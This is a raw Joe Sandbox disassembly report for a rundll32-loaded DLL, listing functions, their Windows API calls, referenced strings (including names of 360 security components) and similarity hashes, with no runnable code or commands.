InitializeCriticalSection.KERNEL32 ref: 0000000180044763

Part of subcall function 000000018000AF68: ??2@YAPEAX_K@Z.MSVCRT ref: 000000018000B026

Part of subcall function 000000018000AF68: ??2@YAPEAX_K@Z.MSVCRT ref: 000000018000B04B

Part of subcall function 0000000180044810: DeleteCriticalSection.KERNEL32 ref: 000000018004483D
Part of subcall function 0000000180044810: ??3@YAXPEAX@Z.MSVCRT ref: 000000018004488A
Part of subcall function 0000000180044810: DeleteCriticalSection.KERNEL32 ref: 00000001800448AA

??3@YAXPEAX@Z.MSVCRT ref: 00000001800447A5

Strings

http://%s/dquery, xrefs: 00000001800446A3, 00000001800446F3

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ??2@CriticalSection$??3@Deleterand$CountInitializeTickmemsetsrand
String ID: http://%s/dquery
API String ID: 3689213441-2489601265
Opcode ID: 3d6c1d3a1db6c1d00b31d5721a07cc2654ec57c957b64071c42c049315398c83
Instruction ID: 80c6b5da0a524930356cbb69355e12e6cacd4ac9a253962bc35af1aeed2dd264
Opcode Fuzzy Hash: 3d6c1d3a1db6c1d00b31d5721a07cc2654ec57c957b64071c42c049315398c83
Instruction Fuzzy Hash: F3619076211F4986E7829B64EC843D933A0FB497A8F518316ED29076E5EF78C78DC344

Uniqueness

Uniqueness Score: -1.00%

Function 000000018005ECC0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 0000000180018E8C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,0000000180065B3D), ref: 0000000180018E96
Part of subcall function 0000000180018E8C: CreateFileW.KERNEL32(?,?,?,?,?,?,?,0000000180065B3D), ref: 0000000180018EC6
Part of subcall function 0000000180018E8C: DeviceIoControl.KERNEL32 ref: 0000000180018F04
Part of subcall function 0000000180018E8C: CloseHandle.KERNEL32(?,?,?,?,?,?,?,0000000180065B3D), ref: 0000000180018F0F

memset.MSVCRT ref: 000000018005ED13
GetModuleFileNameW.KERNEL32 ref: 000000018005ED24

Part of subcall function 0000000180065EE4: PathFileExistsW.SHLWAPI ref: 0000000180065F00
Part of subcall function 0000000180065EE4: EnterCriticalSection.KERNEL32 ref: 0000000180065F2A
Part of subcall function 0000000180065EE4: LeaveCriticalSection.KERNEL32 ref: 0000000180065F73

GetModuleFileNameW.KERNEL32 ref: 000000018005ED55
PathAppendW.SHLWAPI ref: 000000018005ED69
PathFileExistsW.SHLWAPI ref: 000000018005EDD0

Strings

\heavygate64.dll, xrefs: 000000018005EDEE
\deepscan\heavygate64.dll, xrefs: 000000018005EDBA
\Config\MessageCenter.db, xrefs: 000000018005ED93

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: File$Path$CriticalExistsModuleNameSection$AppendCloseControlCreateCurrentDeviceEnterHandleLeaveProcessmemset
String ID: \Config\MessageCenter.db$\deepscan\heavygate64.dll$\heavygate64.dll
API String ID: 830827343-1853890022
Opcode ID: 298258ffcac91158a1fef4f3201ca6457f5d35ecb6e0b41006b5da1b8766b288
Instruction ID: ed8f6b5c495fe7c06dfc5e892af335cc1c0a2688f7bbfb93a7c5ae832a2d3b97
Opcode Fuzzy Hash: 298258ffcac91158a1fef4f3201ca6457f5d35ecb6e0b41006b5da1b8766b288
Instruction Fuzzy Hash: 12413B72214A8995EBB5DF21EC413D92360F7897C8F808112FA4D9B5A9DF39C70DCB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004288 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00000001800042C6

Part of subcall function 0000000180001900: SHGetPathFromIDListW.SHELL32 ref: 000000018000190C

GetFileAttributesW.KERNEL32 ref: 00000001800042FA
memset.MSVCRT ref: 0000000180004316
ILCreateFromPath.SHELL32 ref: 0000000180004330
ILCombine.SHELL32 ref: 000000018000437A
CoTaskMemFree.OLE32 ref: 0000000180004387
CoTaskMemFree.OLE32 ref: 0000000180004394

Strings

:, xrefs: 00000001800042E7

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: FreeFromPathTaskmemset$AttributesCombineCreateFileList
String ID: :
API String ID: 2941325240-336475711
Opcode ID: b7718fc7bab466bf75feea53bf66271dcee3e8f8e01a932515278184e63cf5ba
Instruction ID: dc65f2bc49bddac93e31888ce9d3fd3537e0c7ef9c239f6ea7558133a88505f1
Opcode Fuzzy Hash: b7718fc7bab466bf75feea53bf66271dcee3e8f8e01a932515278184e63cf5ba
Instruction Fuzzy Hash: 7731747260458881EAB5DB16E4543ED7361FB8CBC4F44D115FA4E86AA5DF3CCB49C704

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180060A0C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0000000180060A59
GetClassNameW.USER32 ref: 0000000180060A6C
StrCmpIW.SHLWAPI ref: 0000000180060A8C
StrCmpIW.SHLWAPI ref: 0000000180060AAD
GetWindowTextW.USER32 ref: 0000000180060AC5
StrStrIW.SHLWAPI ref: 0000000180060AE0

Strings

ApplicationFrameWindow, xrefs: 0000000180060AA6
Microsoft Edge, xrefs: 0000000180060AD4

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ClassNameTextWindowmemset
String ID: ApplicationFrameWindow$Microsoft Edge
API String ID: 1817102812-2764675319
Opcode ID: bdc5f29d5c31fe96e361a90c3735c845403ae182fb6ea73bd058871bc7ed945a
Instruction ID: cbb3fe303a1e4ce820f684c33e5910fd11efe3c021ca595ae8cabc946684c7f6
Opcode Fuzzy Hash: bdc5f29d5c31fe96e361a90c3735c845403ae182fb6ea73bd058871bc7ed945a
Instruction Fuzzy Hash: 3721943135478985FAA19F65E8843DA6361F78C7C4F648125AAAD872A4EF7CC74DC700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008B5C Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 66libraryloaderregistryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000000180008B8A
GetProcAddress.KERNEL32 ref: 0000000180008B9F
RegDeleteKeyW.ADVAPI32 ref: 0000000180008BD1
GetModuleHandleW.KERNEL32 ref: 0000000180008BFE
GetProcAddress.KERNEL32 ref: 0000000180008C13

Strings

RegDeleteKeyTransactedW, xrefs: 0000000180008B95
RegDeleteKeyExW, xrefs: 0000000180008C09
Advapi32.dll, xrefs: 0000000180008B83, 0000000180008BF7

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc$Delete
String ID: Advapi32.dll$RegDeleteKeyExW$RegDeleteKeyTransactedW
API String ID: 2668475584-1053001802
Opcode ID: 0b7aaba438b382d164bc0afc74327b597900df9609eba397915e0a396ce3b562
Instruction ID: 915c5fbfce3db82b286e5c0612373c0c02ac60b4c6bcd7d6af2be75d68b23045
Opcode Fuzzy Hash: 0b7aaba438b382d164bc0afc74327b597900df9609eba397915e0a396ce3b562
Instruction Fuzzy Hash: 9F314675209A4891FBA2CB11EC047D973A0BB4DBD4F58C025AE9A07BA4EF3CC748D310

Uniqueness

Uniqueness Score: -1.00%

Function 000000018005F270 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54filewindowtimeCOMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNEL32(?,?,?,?,?,?,?,?,00000001,000000018005F563), ref: 000000018005F288
FindWindowW.USER32 ref: 000000018005F2A6
SendMessageTimeoutW.USER32 ref: 000000018005F2DA
MapViewOfFile.KERNEL32 ref: 000000018005F307
UnmapViewOfFile.KERNEL32 ref: 000000018005F383
CloseHandle.KERNEL32 ref: 000000018005F391

Strings

Q360GameModeMapping, xrefs: 000000018005F27A
Q360SafeMonClass, xrefs: 000000018005F29F

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: File$View$CloseFindHandleMappingMessageOpenSendTimeoutUnmapWindow
String ID: Q360GameModeMapping$Q360SafeMonClass
API String ID: 503113698-2755034037
Opcode ID: a3dcdb3015a9b5e320c6dba5c7c91f5af997ec56152cc96ca9df43ba5da0b2dd
Instruction ID: ebb1f5daab1ae0be3269addd9342b9779a07a1984474038a4b34f5f783d133e4
Opcode Fuzzy Hash: a3dcdb3015a9b5e320c6dba5c7c91f5af997ec56152cc96ca9df43ba5da0b2dd
Instruction Fuzzy Hash: 65213E36605B4882FBA28F25B9547AAB7A1F78C7C4F458228FA4942B54DF3CD64CCB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180064DE4 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 49COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000180064E2F
GetModuleFileNameW.KERNEL32 ref: 0000000180064E51
PathAppendW.SHLWAPI ref: 0000000180064E63
PathAppendW.SHLWAPI ref: 0000000180064E75
??2@YAPEAX_K@Z.MSVCRT ref: 0000000180064E7E

Part of subcall function 000000018006442C: memset.MSVCRT ref: 0000000180064485
Part of subcall function 000000018006442C: InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000000018006448F
Part of subcall function 000000018006442C: GetLastError.KERNEL32 ref: 000000018006449C
Part of subcall function 000000018006442C: EnterCriticalSection.KERNEL32 ref: 00000001800644C5
Part of subcall function 000000018006442C: memset.MSVCRT ref: 00000001800644DB
Part of subcall function 000000018006442C: GetModuleFileNameW.KERNEL32 ref: 00000001800644F4
Part of subcall function 000000018006442C: PathAppendW.SHLWAPI ref: 0000000180064508
Part of subcall function 000000018006442C: PathAppendW.SHLWAPI ref: 000000018006451C
Part of subcall function 000000018006442C: GetProcAddress.KERNEL32 ref: 0000000180064549
Part of subcall function 000000018006442C: GetProcAddress.KERNEL32 ref: 000000018006455E
Part of subcall function 000000018006442C: GetProcAddress.KERNEL32 ref: 0000000180064573
Part of subcall function 000000018006442C: GetProcAddress.KERNEL32 ref: 0000000180064588
Part of subcall function 000000018006442C: GetProcAddress.KERNEL32 ref: 000000018006459D
Part of subcall function 000000018006442C: memset.MSVCRT ref: 00000001800645E5

LeaveCriticalSection.KERNEL32 ref: 0000000180064EA8

Strings

..\deepscan\, xrefs: 0000000180064E57
speedmem2.hg, xrefs: 0000000180064E69

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AddressProc$AppendCriticalPathSection$memset$EnterFileModuleName$??2@CountErrorInitializeLastLeaveSpin
String ID: ..\deepscan\$speedmem2.hg
API String ID: 2338990259-1390971677
Opcode ID: 1f5c69f5d04849719002e6335fbd6f545d460fa84012e21aa4d7e04e73bbc5ea
Instruction ID: 91bce694e0342d9d21a92653d8ecf9702c458f92e478111cc4d5f0d53c5c3f7e
Opcode Fuzzy Hash: 1f5c69f5d04849719002e6335fbd6f545d460fa84012e21aa4d7e04e73bbc5ea
Instruction Fuzzy Hash: BB212C35215B4D81EA928B64FC953996360FB5C7E4F409215E96D077B4EF78C64EC700

Uniqueness

Uniqueness Score: -1.00%

Function 000000018004242C Relevance: 13.7, APIs: 9, Instructions: 156networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000180066050: EnterCriticalSection.KERNEL32 ref: 0000000180066098
Part of subcall function 0000000180066050: LeaveCriticalSection.KERNEL32 ref: 00000001800660E1

Part of subcall function 0000000180043154: ??_V@YAXPEAX@Z.MSVCRT ref: 0000000180043187
Part of subcall function 0000000180043154: htonl.WS2_32 ref: 00000001800431F3

??_V@YAXPEAX@Z.MSVCRT ref: 0000000180042510
??_V@YAXPEAX@Z.MSVCRT ref: 000000018004253B
htons.WS2_32 ref: 0000000180042586
htonl.WS2_32 ref: 0000000180042596
htons.WS2_32 ref: 00000001800425A4
memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00000001800425C3
??_V@YAXPEAX@Z.MSVCRT ref: 00000001800425E6
??_V@YAXPEAX@Z.MSVCRT ref: 0000000180042612
??_V@YAXPEAX@Z.MSVCRT ref: 0000000180042632

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CriticalSectionhtonlhtons$EnterLeavememmove
String ID:
API String ID: 33644419-0
Opcode ID: c447bd6221281bfe5dd6872084f78464a8d5e064d41710de40e0bf531ce06f55
Instruction ID: 90b71582b8c4a32b78347334d3d295f004072f45cff62f784db803bd1658b447
Opcode Fuzzy Hash: c447bd6221281bfe5dd6872084f78464a8d5e064d41710de40e0bf531ce06f55
Instruction Fuzzy Hash: 69614736B00B549AF792DFA1E9503ED33B5B70878CF458019EE5627A98DF34866EC348

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014F24 Relevance: 13.6, APIs: 9, Instructions: 146COMMON

Download Yara Rule

APIs

SafeArrayCreate.OLEAUT32 ref: 0000000180014FEE
VariantInit.OLEAUT32 ref: 0000000180015009
SafeArrayPutElement.OLEAUT32 ref: 000000018001503B
VariantInit.OLEAUT32 ref: 0000000180015069
VariantInit.OLEAUT32 ref: 0000000180015094

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: InitVariant$ArraySafe$CreateElement
String ID:
API String ID: 3308809976-0
Opcode ID: 3e6f35141bead04b4f889ba04b40996eb253cad0316321e95f0b8ebe6d532838
Instruction ID: 146264a788ca7c4eb20d782c9947d04824275c30ee96bc1b713ea33f9e3da92e
Opcode Fuzzy Hash: 3e6f35141bead04b4f889ba04b40996eb253cad0316321e95f0b8ebe6d532838
Instruction Fuzzy Hash: 52515A32B00A548AE781CFA5EC843DD37B0F7487A9F158125EA5A97764EF34C64AC340

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001E59C Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 311COMMON

Download Yara Rule

APIs

??_U@YAPEAX_K@Z.MSVCRT ref: 000000018001E625
??_V@YAXPEAX@Z.MSVCRT ref: 000000018001E6A1
_wcsicmp.MSVCRT ref: 000000018001E926

Strings

InitString, xrefs: 000000018001E741
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\, xrefs: 000000018001E8CC
.exe, xrefs: 000000018001E5A5, 000000018001E919
%I64u, xrefs: 000000018001E7A3

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _wcsicmp
String ID: %I64u$.exe$InitString$SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\
API String ID: 2081463915-3789319691
Opcode ID: a7524d0a6a2f2a6811e2d6bfe887dea111f6d1a43d9b514e68db11bdf2e08a92
Instruction ID: 99d661dcfab4fd9f60583e58d61e1d075c9151c162a47e32eebc6396990c7acc
Opcode Fuzzy Hash: a7524d0a6a2f2a6811e2d6bfe887dea111f6d1a43d9b514e68db11bdf2e08a92
Instruction Fuzzy Hash: A8C1B172710A488AEB929B25D8407DD33A0F749BE8F448216FE6D47BE5DF38C689C744

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180036EC8 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 238COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 0000000180036F7A
_wcslwr.MSVCRT ref: 0000000180036FC8
wcschr.MSVCRT ref: 0000000180037043
wcscmp.MSVCRT ref: 00000001800370A6
wcscmp.MSVCRT ref: 00000001800370BA

Part of subcall function 000000018000A7AC: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000180001020), ref: 000000018000A7D5

Part of subcall function 000000018001B6F0: wcsstr.MSVCRT ref: 000000018001B73B
Part of subcall function 000000018001B6F0: wcsstr.MSVCRT ref: 000000018001B764
Part of subcall function 000000018001B6F0: IIDFromString.OLE32 ref: 000000018001B7CF

Strings

clsid2, xrefs: 00000001800370AF
clsid, xrefs: 000000018003709B

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: wcschrwcscmpwcsstr$FromHeapProcessString_wcslwr
String ID: clsid$clsid2
API String ID: 2934854147-3646038404
Opcode ID: 911e3de000ae97c58b3acce3279f437468a1569be05101070c01195505b2f66e
Instruction ID: bd95a24bb0aafbb45aea4f5794df0f126b37bc211fbb868afd4ed2029302fca7
Opcode Fuzzy Hash: 911e3de000ae97c58b3acce3279f437468a1569be05101070c01195505b2f66e
Instruction Fuzzy Hash: 86A16172701A4885EBA79B29C8503EE63A1FB49BD4F46C122FA1D477D6EF74CA49C340

Uniqueness

Uniqueness Score: -1.00%

Function 000000018003721C Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 234stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00000001800372BF
_strlwr.MSVCRT ref: 000000018003730C
strchr.MSVCRT ref: 0000000180037387
wcscmp.MSVCRT ref: 00000001800373E9
wcscmp.MSVCRT ref: 00000001800373FD

Part of subcall function 000000018000A7AC: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000180001020), ref: 000000018000A7D5

Part of subcall function 000000018001B6F0: wcsstr.MSVCRT ref: 000000018001B73B
Part of subcall function 000000018001B6F0: wcsstr.MSVCRT ref: 000000018001B764
Part of subcall function 000000018001B6F0: IIDFromString.OLE32 ref: 000000018001B7CF

Strings

clsid2, xrefs: 00000001800373F2
clsid, xrefs: 00000001800373DE

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: strchrwcscmpwcsstr$FromHeapProcessString_strlwr
String ID: clsid$clsid2
API String ID: 3075496951-3646038404
Opcode ID: b34bb257c4012ea5ea7ec63a1f36afb4f32d3c0f990deb4b92841445b61a349c
Instruction ID: 52fbb44663529e4af6cb5c57c7c12c2662acde33668ab69cc9482a834562ed8e
Opcode Fuzzy Hash: b34bb257c4012ea5ea7ec63a1f36afb4f32d3c0f990deb4b92841445b61a349c
Instruction Fuzzy Hash: B3A14E72301A4886EBA79B25C4503EE67A1BB49BD8F45C121FA1D477D6EF78CA89C340

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180068390 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 0000000180067B20: memset.MSVCRT ref: 0000000180067B76

memset.MSVCRT ref: 0000000180068455
memmove.MSVCRT ref: 000000018006849B
??3@YAXPEAX@Z.MSVCRT ref: 00000001800684CF
memmove.MSVCRT ref: 0000000180068525
??3@YAXPEAX@Z.MSVCRT ref: 0000000180068555

Strings

unknown error, xrefs: 00000001800683F1
generic, xrefs: 0000000180068580

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ??3@memmovememset
String ID: generic$unknown error
API String ID: 2528313377-3628847473
Opcode ID: de4f988636b97df9b255ecc11943299432ed388bb3462f1d961b5968a0cd6148
Instruction ID: f953be595861da4e4b866d1587ee45b735e1f1b3269ec21885f27e4079069760
Opcode Fuzzy Hash: de4f988636b97df9b255ecc11943299432ed388bb3462f1d961b5968a0cd6148
Instruction Fuzzy Hash: 4451A372704B8882EF459B16DA443AD6362F749BD0F50C221FB6A07BD6EF78C6A59340

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800744F0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 127libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000000018007460C
FreeLibrary.KERNEL32 ref: 000000018007466D
GetModuleHandleW.KERNEL32 ref: 000000018007468D
GetProcAddress.KERNEL32 ref: 00000001800746A2

Strings

kernel32, xrefs: 0000000180074686
AddDllDirectory, xrefs: 0000000180074698

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Library$AddressFreeHandleLoadModuleProc
String ID: AddDllDirectory$kernel32
API String ID: 1437655972-3758863895
Opcode ID: 62d5c79b2ea4fb088856e3f0301c9a109d3b9d8bbbaf54877c47554339dab04f
Instruction ID: bbf3e12eda5f2f818c86a6d8723dcf8fbef42ab492d342ab48d7d832c77590ad
Opcode Fuzzy Hash: 62d5c79b2ea4fb088856e3f0301c9a109d3b9d8bbbaf54877c47554339dab04f
Instruction Fuzzy Hash: 7751E53231164885FEA6CF51E4103E962A0FB5DBE4F48C621EA6A4B7D4DF3DC649C705

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180040688 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 105COMMON
